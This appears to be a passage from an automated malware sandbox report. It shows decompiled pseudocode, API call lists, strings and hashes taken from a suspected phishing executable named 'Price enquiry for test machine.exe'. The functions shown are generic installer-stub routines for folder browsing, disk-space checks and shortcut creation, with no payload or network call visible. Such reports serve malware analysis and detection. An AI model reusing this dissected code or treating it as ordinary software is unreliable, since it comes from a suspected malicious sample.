							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									__eflags = _t269 & 0x00000004;
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42052c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42052c + _t318 * 4) = _t274;
									_t288 =  *( *0x42052c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_t331 = _t318 -  *0x423f6c; // 0x2
							_v24 = _t311;
						} while (_t331 < 0);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403E89(_v8);
								_t280 = _v32;
								_t315 = 0;
								__eflags = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403E89(_v12);
								L89:
								return E00403EBB(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004047f1
0x004047f7
0x004047f9
0x004047ff
0x00404805
0x00404808
0x00404812
0x0040481b
0x0040481e
0x00404821
0x00404a49
0x00404a49
0x00404a50
0x00404a64
0x00404a52
0x00404a54
0x00404a57
0x00404a58
0x00404a5f
0x00404a5f
0x00404a67
0x00404a70
0x00404a7b
0x00404a7b
0x00404a7e
0x00404a81
0x00404a90
0x00404a90
0x00404a97
0x00404b0f
0x00404b0f
0x00404b12
0x00404b14
0x00404b17
0x00404b1e
0x00404b2c
0x00404b2c
0x00404b2e
0x00404b31
0x00404b38
0x00404b3a
0x00404b3e
0x00404b5b
0x00404b5f
0x00404b5f
0x00404b40
0x00404b4d
0x00404b4d
0x00404b3e
0x00404b38
0x00000000
0x00404b12
0x00404a99
0x00404a9c
0x00404aa7
0x00404aa9
0x00404aac
0x00404ab3
0x00404ab8
0x00404aba
0x00404ac4
0x00404ac4
0x00404ac8
0x00404aca
0x00404acd
0x00404acf
0x00404ad2
0x00404ae8
0x00404ae8
0x00404ad4
0x00404ad4
0x00404ada
0x00404adc
0x00404ae3
0x00404ade
0x00404ade
0x00404ade
0x00404adc
0x00404aec
0x00404aee
0x00404af3
0x00404afc
0x00404afd
0x00404b07
0x00404b07
0x00404b09
0x00404b0c
0x00404b0c
0x00404acd
0x00000000
0x00404aba
0x00404a9e
0x00404aa1
0x00404aa5
0x00000000
0x00000000
0x00000000
0x00404aa5
0x00404a83
0x00404a8a
0x00000000
0x00000000
0x00000000
0x00404a72
0x00404a72
0x00404a75
0x00404b62
0x00404b62
0x00404b69
0x00404bdd
0x00404bdd
0x00404be4
0x00404bf0
0x00404bf0
0x00404bf2
0x00404bf9
0x00404bfb
0x00404c00
0x00404c02
0x00404c05
0x00404c05
0x00404c0b
0x00404c10
0x00404c12
0x00404c15
0x00404c15
0x00404c1b
0x00404c21
0x00404c27
0x00404c27
0x00404c2d
0x00404c34
0x00404d81
0x00404d81
0x00404d88
0x00404d8a
0x00404d91
0x00404d95
0x00404da2
0x00404da2
0x00404da5
0x00404dab
0x00404dbd
0x00404dbd
0x00404d91
0x00000000
0x00404c3a
0x00404c3c
0x00404c41
0x00404c44
0x00404c48
0x00404c48
0x00404c4d
0x00404c50
0x00404c91
0x00404c93
0x00404c9d
0x00404ca3
0x00404ca6
0x00404cab
0x00404cb2
0x00404cb5
0x00404d57
0x00404d5d
0x00404d63
0x00404d68
0x00404d6b
0x00404d7c
0x00404d7c
0x00000000
0x00404cbb
0x00404cbb
0x00404cbb
0x00404cbe
0x00404cc4
0x00404cc7
0x00404cc9
0x00404ccb
0x00404ccd
0x00404cd0
0x00404cd3
0x00404cda
0x00404cdc
0x00404cdf
0x00404ce6
0x00404ce9
0x00404ce9
0x00404ce9
0x00404ce9
0x00404ced
0x00404cf0
0x00404cfc
0x00404cfd
0x00404d00
0x00404d02
0x00404d02
0x00404d02
0x00404cf2
0x00404cf4
0x00404cf4
0x00404d21
0x00404d21
0x00404d22
0x00404d2e
0x00404d3d
0x00404d3d
0x00404d3f
0x00404d42
0x00404d4b
0x00404d4b
0x00000000
0x00404cbe
0x00404c52
0x00404c5d
0x00404c60
0x00404c65
0x00404c67
0x00404c69
0x00404c6b
0x00404c7b
0x00404c85
0x00404c87
0x00404c8a
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c6d
0x00404c6d
0x00404c6d
0x00404c70
0x00404c73
0x00404c75
0x00404c75
0x00404c75
0x00404c76
0x00404c77
0x00404c77
0x00000000
0x00404c6d
0x00404c50
0x00404c34
0x00404b6b
0x00404b71
0x00000000
0x00000000
0x00404b7d
0x00404b81
0x00000000
0x00000000
0x00404b91
0x00404b93
0x00404b96
0x00000000
0x00000000
0x00404ba8
0x00404baa
0x00404bad
0x00404bb7
0x00404bb9
0x00404bba
0x00404bbb
0x00404bca
0x00404bcc
0x00404bd3
0x00404bd6
0x00000000
0x00404bd6
0x00404baf
0x00404bb2
0x00404bb5
0x00000000
0x00000000
0x00000000
0x00404bb5
0x00000000
0x00404a75
0x00404827
0x0040482c
0x00404831
0x00404836
0x00404837
0x00404840
0x0040484b
0x00404856
0x0040485c
0x0040486a
0x0040487f
0x00404884
0x0040488f
0x00404898
0x004048ad
0x004048be
0x004048cb
0x004048cb
0x004048d0
0x004048d6
0x004048d8
0x004048db
0x004048e0
0x004048e5
0x004048e7
0x004048e7
0x00404907
0x00404907
0x00404909
0x0040490a
0x0040490f
0x00404912
0x00404915
0x00404919
0x0040491e
0x00404923
0x00404927
0x0040492c
0x00404931
0x00404933
0x00404935
0x0040493b
0x00404a05
0x00404a18
0x00000000
0x00404941
0x00404944
0x00404947
0x0040494a
0x0040494a
0x00404950
0x00404956
0x00404959
0x0040495f
0x00404960
0x00404965
0x0040496e
0x00404975
0x00404978
0x0040497b
0x0040497e
0x004049b8
0x004049ba
0x004049e3
0x004049bc
0x004049c9
0x004049c9
0x00404980
0x00404983
0x00404992
0x0040499c
0x004049a4
0x004049ab
0x004049b3
0x004049b3
0x0040497e
0x004049e9
0x004049ea
0x004049f0
0x004049f6
0x004049f6
0x00404a03
0x00404a1e
0x00404a22
0x00404a3f
0x00404a44
0x00404a47
0x00404a47
0x00000000
0x00404a24
0x00404a29
0x00404a32
0x00404dbf
0x00404dd1
0x00404dd1
0x00404a22
0x00000000
0x00404a03
0x0040493b

APIs

GetDlgItem.USER32 ref: 004047EA
GetDlgItem.USER32 ref: 004047F7
GlobalAlloc.KERNEL32(00000040,00000002), ref: 00404843
LoadBitmapA.USER32 ref: 00404856
SetWindowLongA.USER32(?,000000FC,00404DD4), ref: 00404870
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404884
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404898
SendMessageA.USER32(?,00001109,00000002), ref: 004048AD
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004048B9
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004048CB
DeleteObject.GDI32(?), ref: 004048D0
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004048FB
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404907
SendMessageA.USER32(?,00001100,00000000,?), ref: 0040499C
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004049C7
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049DB
GetWindowLongA.USER32 ref: 00404A0A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A18
ShowWindow.USER32(?,00000005), ref: 00404A29
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B2C
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404B91
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BA6
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404BCA
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404BF0
ImageList_Destroy.COMCTL32(?), ref: 00404C05
GlobalFree.KERNEL32 ref: 00404C15
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404C85
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404D2E
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D3D
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D5D
ShowWindow.USER32(?,00000000), ref: 00404DAB
GetDlgItem.USER32 ref: 00404DB6
ShowWindow.USER32(00000000), ref: 00404DBD

Strings

N, xrefs: 00404A67
M, xrefs: 00404983
, xrefs: 00404D95

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction ID: 9a6d62add78faf2b4aa272e1cf177665df16ecedb9a61d3aa4425c18576eb247
Opcode Fuzzy Hash: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction Fuzzy Hash: 8B029DB0E00209AFDB24DF55DD45AAE7BB5EB84315F10817AF610BA2E1C7789A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404292, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404292(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr _t124;
				intOrPtr* _t138;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x41fd08;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x425000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E0040543D(0x3fb, _t146);
					E00405DFA(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E0040543D(0x3fb, _t146);
							if(E0040576C(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405B98(0x41f500, _t146);
							_t87 = E00405F28(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405B98(0x41f500, _t146);
								_t89 = E0040571F(0x41f500);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f500,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41f500) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41f500,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t159 = E004056D2(0x41f500) - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41f500) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E00404726(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x42371c; // 0x6f84cc
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E0040470E(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41f4f0);
									} else {
										E00404649(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x423fe4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00403E76(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x420524 == _t158) {
									E00404227();
								}
								 *0x420524 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x420538;
							_v60 = E004045E3;
							_v56 = _t146;
							_v68 = E00405BBA(_t146, 0x420538, _t166, 0x41f908, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E0040568B(_t146);
								_t124 =  *0x423f50; // 0x6f2508
								_t125 =  *((intOrPtr*)(_t124 + 0x11c));
								if( *((intOrPtr*)(_t124 + 0x11c)) != 0 && _t146 == "C:\\Users\\hardz\\AppData\\Local\\Temp") {
									E00405BBA(_t146, 0x420538, _t166, 0, _t125);
									if(lstrcmpiA(0x422ee0, 0x420538) != 0) {
										lstrcatA(_t146, 0x422ee0);
									}
								}
								 *0x420524 =  *0x420524 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E004056F8(_t146) != 0 && E0040571F(_t146) == 0) {
						E0040568B(_t146);
					}
					 *0x423718 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403E54(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403E54(_t166);
					E00403E89(_t165);
					_t138 = E00405F28(0xa);
					if(_t138 == 0) {
						L53:
						return E00403EBB(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, 1);
						goto L8;
					}
				}
			}

0x00404292
0x00404298
0x0040429e
0x004042ab
0x004042b9
0x004042bc
0x004042c4
0x004042ca
0x004042ca
0x004042d6
0x004042d9
0x00404347
0x0040434e
0x00404425
0x0040442c
0x0040443b
0x0040443b
0x0040443f
0x00404449
0x00404456
0x00404458
0x00404458
0x00404466
0x0040446d
0x00404474
0x00404477
0x004044ae
0x004044b0
0x004044b6
0x004044bb
0x004044bf
0x004044c1
0x004044c1
0x004044dd
0x00000000
0x004044df
0x004044e2
0x004044f0
0x004044f6
0x004044f7
0x004044fa
0x004044fd
0x00000000
0x004044fd
0x00404479
0x0040447b
0x0040447f
0x00000000
0x00000000
0x00000000
0x00000000
0x00404481
0x00404481
0x0040448e
0x00404493
0x00000000
0x00000000
0x00404497
0x00404499
0x00404499
0x004044a4
0x004044a7
0x004044ac
0x00000000
0x00000000
0x00000000
0x00000000
0x004044ac
0x00404509
0x00404513
0x00404516
0x00404519
0x00404520
0x00404520
0x00404522
0x00404522
0x00404527
0x00404529
0x00404531
0x00404538
0x0040453a
0x00404545
0x00404545
0x0040453a
0x0040454c
0x00404555
0x0040455f
0x00404567
0x00404582
0x00404569
0x00404572
0x00404572
0x00404567
0x00404587
0x0040458c
0x00404591
0x0040459a
0x0040459a
0x004045a3
0x004045a5
0x004045a5
0x004045b1
0x004045b9
0x004045c3
0x004045c3
0x004045c8
0x00000000
0x004045c8
0x00404477
0x0040442e
0x00404435
0x00000000
0x00000000
0x00000000
0x00404435
0x00404354
0x0040435d
0x00404377
0x0040437c
0x00404386
0x0040438d
0x00404399
0x0040439c
0x0040439f
0x004043a6
0x004043ae
0x004043b1
0x004043b5
0x004043bc
0x004043c4
0x0040441e
0x004043c6
0x004043c7
0x004043ce
0x004043d3
0x004043d8
0x004043e0
0x004043ed
0x00404401
0x00404405
0x00404405
0x00404401
0x0040440a
0x00404417
0x00404417
0x004043c4
0x00000000
0x0040437c
0x0040436a
0x00000000
0x00000000
0x00404370
0x00000000
0x004042db
0x004042e8
0x004042f1
0x004042fe
0x004042fe
0x00404305
0x0040430b
0x00404314
0x00404317
0x0040431a
0x00404322
0x00404325
0x00404328
0x0040432e
0x00404335
0x0040433c
0x004045ce
0x004045e0
0x00404342
0x00404345
0x00000000
0x00404345
0x0040433c

APIs

GetDlgItem.USER32 ref: 004042E1
SetWindowTextA.USER32(00000000,?), ref: 0040430B
SHBrowseForFolderA.SHELL32(?,0041F908,?), ref: 004043BC
CoTaskMemFree.OLE32(00000000), ref: 004043C7
lstrcmpiA.KERNEL32(rzxxndps,00420538,00000000,?,?), ref: 004043F9
lstrcatA.KERNEL32(?,rzxxndps), ref: 00404405
SetDlgItemTextA.USER32 ref: 00404417

Part of subcall function 0040543D: GetDlgItemTextA.USER32 ref: 00405450

Part of subcall function 00405DFA: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E52
Part of subcall function 00405DFA: CharNextA.USER32(?,?,?,00000000), ref: 00405E5F
Part of subcall function 00405DFA: CharNextA.USER32(?,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E64
Part of subcall function 00405DFA: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E74

GetDiskFreeSpaceA.KERNEL32(0041F500,?,?,0000040F,?,0041F500,0041F500,?,00000001,0041F500,?,?,000003FB,?), ref: 004044D5
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004044F0

Part of subcall function 00404649: lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
Part of subcall function 00404649: wsprintfA.USER32 ref: 004046EF
Part of subcall function 00404649: SetDlgItemTextA.USER32 ref: 00404702

Strings

A, xrefs: 004043B5
C:\Users\user\AppData\Local\Temp, xrefs: 004043E2
rzxxndps, xrefs: 004043F3, 004043F8, 00404403

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp$rzxxndps
API String ID: 2624150263-361673149
Opcode ID: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction ID: cfccd4b73e861dd9bc9b7885d3f414f2f86db1ffcc16c92a650f1104495a78a5
Opcode Fuzzy Hash: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction Fuzzy Hash: EAA17EB1D00218BBDB11AFA5CD41AAFB6B8EF84315F10813BF605B62D1D77C9A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402053, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402053() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E00402A29(0xfffffff0);
				_t96 = E00402A29(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x34)) = E00402A29(2);
				 *((intOrPtr*)(_t100 - 0xc)) = E00402A29(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x38)) = E00402A29(0x45);
				if(E004056F8(_t96) == 0) {
					E00402A29(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x4073f8, _t75, 1, 0x4073e8, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407408, _t100 - 8);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\hardz\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x18);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x18);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 0xc)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 0xc)),  *(_t100 - 0x18) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x34)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x38)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409408, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 8));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409408, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 8));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x0040205c
0x00402066
0x0040206f
0x00402079
0x00402082
0x0040208c
0x00402090
0x00402090
0x00402095
0x004020a6
0x004020ae
0x0040218e
0x0040218e
0x00402195
0x004020b4
0x004020b4
0x004020c5
0x004020c9
0x004020cf
0x004020d9
0x004020db
0x004020e6
0x004020e9
0x004020f6
0x004020f8
0x004020fa
0x00402101
0x00402104
0x00402104
0x00402107
0x00402111
0x00402119
0x0040211e
0x0040212a
0x0040212a
0x0040212d
0x00402136
0x00402139
0x00402142
0x00402147
0x00402159
0x00402168
0x0040216a
0x00402176
0x00402176
0x00402168
0x00402178
0x0040217e
0x0040217e
0x00402181
0x00402187
0x0040218c
0x004021a1
0x00000000
0x00000000
0x00000000
0x0040218c
0x00402197
0x004028c1
0x004028cd

APIs

CoCreateInstance.OLE32(004073F8,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020A6
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409408,00000400,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402160

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020DE

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-501415292
Opcode ID: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction ID: c7e9304a010c998f9a7959bd005017a1970e80d3ce8bb7043a01564e87abbd95
Opcode Fuzzy Hash: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction Fuzzy Hash: 32416E75A00205BFCB00DFA8CD88E9E7BB5EF49354F204169F905EB2D1CA799C41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402671, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402671(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402A29(2), _t19 - 0x19c) != 0xffffffff) {
					E00405AF6(__edi, _t6);
					_push(_t19 - 0x170);
					_push(__esi);
					E00405B98();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402689
0x0040269d
0x004026a8
0x004026a9
0x004027e4
0x0040268b
0x0040268b
0x0040268d
0x0040268f
0x0040268f
0x004028c1
0x004028cd

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402680

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction ID: c4b8fb32876d586bcf7df686e34757fa561d471cbaf363f6388d0c393702730c
Opcode Fuzzy Hash: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction Fuzzy Hash: 81F0A032A041009ED711EBA49A499EEB7789B11318F60067BE101B21C1C6B859459B2A

Uniqueness

Uniqueness Score: -1.00%

Function 72E46A2B, Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

